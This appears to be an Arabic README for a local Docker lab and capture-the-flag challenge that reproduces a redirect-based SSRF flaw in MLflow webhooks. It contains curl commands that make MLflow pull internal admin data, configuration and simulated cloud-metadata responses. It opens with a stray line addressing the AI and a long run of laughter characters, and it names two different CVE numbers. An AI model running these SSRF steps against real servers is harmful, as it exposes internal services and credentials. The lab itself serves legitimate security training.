
هذا المختبر قد يكون جيدًا أو سيئًا، اسأل الذكاء الاصطناعي، أنا أختبره لكن يجب أن يعمل هههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههههه
CVE-2026-64849 · MLflow < 3.15.0 · تزوير الطلبات من جانب الخادم (SSRF)
مختبر عملي لإعادة إنتاج CVE-2026-64849: ثغرة من نوع SSRF في MLflow ناتجة عن خلل TOCTOU (Time-of-Check / Time-of-Use) في معالجة webhooks. يتحقق MLflow من عنوان URL الأصلي للـ webhook ولكنه يتبع عمليات إعادة التوجيه HTTP (302) دون إعادة التحقق من الوجهة، مما يسمح لمهاجم غير مصادق بالوصول إلى خدمات داخلية لا ينبغي أن يكون قادرًا على الوصول إليها (internal-service:8888).
استخدام مقيد: مادة مختبرية، مخصصة فقط للشبكات والبيئات المصرح بها. راجع إخلاء المسؤولية القانونية.
| السمة | القيمة |
|---|
| الثغرة | CVE-2026-64849 — SSRF عبر تجاوز إعادة توجيه الـ Webhook |
| المكوّن المتأثر | MLflow Tracking Server (< 3.15.0) |
| إصدار المختبر | MLflow 3.13.0 (بدون تعديل، عبر pip install) |
| السبب الجذري | TOCTOU: يتحقق من عنوان URL، يتبع الـ 302 دون إعادة التحقق |
| ناقل الهجوم | HTTP؛ بدون مصادقة |
| الخطورة المعلنة | حرجة (CVSS 9.3) — وفقًا للافتة استغلال المختبر |
| النتيجة | الوصول إلى الخدمات الداخلية، سرقة بيانات الاعتماد، فحص المنافذ |
| المدة التقديرية | 15–20 دقيقة |
| المستوى | متوسط (أمن تطبيقات الويب / الأمن الهجومي) |
يسمح MLflow بتسجيل webhooks تُطلق طلبات HTTP عند وقوع أحداث (بيانات النماذج، التجارب، إلخ). قبل حفظ عنوان URL، يتم تطبيق تحقق (المخطط، عناوين IP الخاصة، بيانات IP الوصفية). يحدث الخلل للأسباب التالية:
3xx، تتبع مكتبة requests إعادة التوجيه تلقائيًا ولا يعيدون أبدًا التحقق من عنوان URL الوجهة.يتحكم المهاجم في القفزة الأولى (خادم يستجيب بـ 302 إلى خدمة داخلية) ويعمل MLflow كـ وسيط نحو الشبكة الداخلية.
راجع التحليل الفني الكامل في EXPLOITATION_GUIDE.md §6.
عند الانتهاء من المختبر، سيكون الطالب قادرًا على:
/test، واستخراج الخدمة الداخلية.الجمهور: طلاب ومحترفو الأمن الهجومي، ومختبرو الاختراق، ومراجعو أمن التطبيقات، والمطورون الذين يستخدمون MLflow.
متطلبات البرمجيات:
| الأداة | الإصدار الأدنى |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
لا تتطلب بيانات اعتماد أو مصادقة في MLflow (الهجوم غير مصادق). لا حاجة للوصول إلى الشبكة الداخلية: يوفرها المختبر.
host الشبكة الداخلية لـ Docker (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ المهاجم (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, يستجيب بـ 302) │
│ http://localhost:5000 │ │ │ عنوان URL للـ webhook ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF، يتبع إعادة التوجيه) │
│ │ │ internal-service (8888) ← بدون منافذ مكشوفة │
│ │ │ "/admin/secret" للمضيف │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| المكوّن | المنفذ | الدور في المختبر | هل تم تعديله؟ |
|---|---|---|---|
mlflow-vulnerable | 5000 | الضحية / العميل الثغري (MLflow 3.13.0 الأصلي) | لا |
attacker-server | 8080 | خادم المهاجم: /webhook ← 302، /redirect?url=، /metadata، لوحة التحكم | do_HEAD فقط |
internal-service | 8888 | الضحية في lab_network؛ /admin/secret و/api/internal/config | لا |
تفاصيل السلامة: لم يتم تعديل الخدمة الثغرية والخدمة الداخلية. راجع EXPLOITATION_GUIDE.md §14.
cd mlflow-ssrf-lab
bash run_lab.sh start # يشغّل الحاويات الثلاث وينتظر MLflow
bash run_lab.sh exploit # يستغل تلقائيًا (SSRF ← علم المستوى 1)
عرض توضيحي موجّه خطوة بخطوة (قائمة تفاعلية):
bash manual_exploitation_interactive.sh
🏁 وضع CTF (حل يدوي): المختبر عبارة عن تحدي بمستويات. كل علم يترك لك تلميح المستوى التالي، بحيث يكون الوصول إلى كل flag "منطقيًا". والفكرة هي القيام بذلك يدويًا: ctf_lab.sh لا يستغل نيابة عنك، بل يرشدك فقط ويتحقق من علمك:
bash ctf_lab.sh # القائمة التفاعلية لـ CTF
bash ctf_lab.sh nivel 1 # تعليمات + تلميح المستوى (أوامر لتنفيذها يدويًا بنفسك)
bash ctf_lab.sh flag '<flag>' # التحقق من العلم الذي استخرجته وفككت ترميزه (+نقاط)
bash ctf_lab.sh status # المستويات المكتملة + النقاط (235 نقطة، دون عرض الأعلام)
bash ctf_lab.sh hint 2 # تلميح لمستوى
bash ctf_lab.sh reset # مسح التقدم
مراجع سكربت run_lab.sh:
bash run_lab.sh start # start (افتراضي) + نقطة نهاية الحالة
bash run_lab.sh exploit # تنفيذ exploit.py داخل حاوية mlflow
bash run_lab.sh manual # عرض أوامر curl خطوة بخطوة
bash run_lab.sh logs # متابعة السجلات في الوقت الفعلي
bash run_lab.sh stop # إيقاف الحاويات
bash run_lab.sh clean # إيقاف وحذف بيانات المختبر
جميع استدعاءات
/testتتطلب الترويسةContent-Type: application/json؛ بدونها، يستجيب MLflow 3.13 بـ400 Bad Request.
# 1. إنشاء webhook يشير إلى خادم المهاجم (يعيد التوجيه إلى جذر البوابة الداخلية، المستوى 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. تشغيل /test ← يتحقق MLflow من عنوان URL، يتبع الـ 302 إلى الخدمة الداخلية
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. استخراج البيانات المسربة (متداخلة في result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
النتيجة المتوقعة من الخطوة 3 (المستوى 1 من CTF):
{
"service": "internal-admin-portal",
"banner": "البوابة الإدارية الداخلية — لا يمكن الوصول إليها إلا من الشبكة الداخلية",
"nivel": 1,
"flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
"flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
"pista": "تعرض البوابة موارد تحت /admin/ و/api/. ابحث عن بيانات اعتماد المسؤول."
}
يسافر العلم مشفرًا (flag_enc) وتعطيك الاستجابة نفسها الأمر لفك ترميزه (flag_decoding). الهدف هو استخراجه عبر SSRF وفك ترميزه؛ ويقودك pista إلى المستوى 2. التفاصيل خطوة بخطوة، وتحليل الخلل، والمعالجة موجودة في EXPLOITATION_GUIDE.md.
المختبر عبارة عن CTF بمستويات تصاعدية: كل علم يترك pista تقود إلى الوجهة التالية، بحيث يكون الوصول إلى كل flag منطقيًا. تُحل جميع المستويات بنفس التقنية الأساسية (SSRF عبر إعادة التوجيه)، مع رفع صعوبة التقنية والاكتشاف.
| المستوى | التقنية / الاكتشاف | الوجهة (SSRF) | العلم | النقاط |
|---|---|---|---|---|
| 1 | إعادة توجيه أساسية | internal-service:8888/ | base64 | 10 |
| 2 | تعداد /admin/ | internal-service:8888/admin/secret | hex | 25 |
| 3 | تعداد /api/ | internal-service:8888/api/internal/config | base64 | 40 |
| 4 | البيانات الوصفية السحابية (IMDS) | internal-service:8888/latest/meta-data/... | base64 + rev | 60 |
| 5 (نهائي) | SSRF أعمى + اكتشاف خدمة مخفية على المنفذ 8889 | internal-service:8889/admin/final | XOR + base64 | 100 |
تسافر الأعلام مشفرة في حقل
flag_encمن الاستجابة وتتضمن كل استجابةflag_decoding(الأمر الدقيق لفك ترميزها). العلم الصريحflag{...}لا يظهر في أي سكربت أو مستند: يجب استخراجه عبر SSRF وفك ترميزه (السكربتات التلقائية لا تعرض الأعلام).
قاعدة المختبر: العلم فقط عبر SSRF ناجح (استخراج فعلي لبيانات الخدمة الداخلية عبر إعادة التوجيه). ما ليس SSRF أو غير قابل للتكرار في المختبر لا يمنح علمًا (مثل /metadata المباشر من المهاجم، DNS rebinding، نفق whcli، فحص أعمى دون استخراج).
اللعب: bash ctf_lab.sh (قائمة تفاعلية). الحل اليدوي حسب المستويات في REDTEAM_GUIDE.md (تمرين هجومي أمرًا بأمر) وEXPLOITATION_GUIDE.md (الإجراء الفني الكامل).
أثناء توحيد المختبر، تم تطبيق التصحيحات التالية، التي تم التحقق منها بالفعل وانعكست في جميع أوامر التوثيق:
| # | التصحيح | التأثير |
|---|---|---|
| 1 | POST /test يرسل الآن Content-Type: application/json (و-d '{}') | يزيل 400 Bad Request من MLflow 3.13 وفشل jq: null عند استخراج response_body |
| 2 | attacker_server.py يدعم طريقة HEAD (do_HEAD) | curl -I .../webhook يعيد 302 Found بدلاً من 501 Unsupported method |
| 3 | استخدام واجهة برمجة التطبيقات الفعلية POST /api/2.0/mlflow/webhooks | يتجنب 405 من المسارات غير الموجودة (/webhooks/create) |
CVE-2026-29000-poc-lab/
├── README.md ← هذا الملف (فهرس / غلاف المختبر)
├── REDTEAM_GUIDE.md ← تمرين يدوي بأسلوب الفريق الأحمر: استطلاع ← فرضية ← استغلال
├── EXPLOITATION_GUIDE.md ← الإجراء الكامل للمختبر (SSRF، الأشكال المختلفة، السلامة)
├── manual_exploitation_interactive.sh ← عرض تفاعلي خطوة بخطوة (قائمة)
└── mlflow-ssrf-lab/ ← كود وتنسيق المختبر
├── docker-compose.yml ← 3 حاويات (mlflow، attacker، internal)
├── exploit.py ← استغلال آلي (يُنفذ داخل الحاوية)
├── attacker_server.py ← خادم المهاجم (302 قابل للتكوين)
├── internal_service.py ← الخدمة الداخلية "المحمية" (بوابة 8888 + خدمة مخفية 8889)
├── ctf_lab.sh ← دليل CTF اليدوي (تعليمات + تلميحات + مدقق أعلام)
├── run_lab.sh ← start / exploit / manual / logs / stop / clean
└── mlflow_data/ ← البيانات المُنشأة (قاعدة بيانات sqlite، القطع الأثرية)
lab_network الخاصة بـ Docker؛ ولا تعرض الخدمة الداخلية للمضيف.exploit.py أداة تحقق من المختبر ويُنفذ داخل حاوية MLflow، على الشبكة الداخلية المحاكاة (راجع EXPLOITATION_GUIDE.md §14).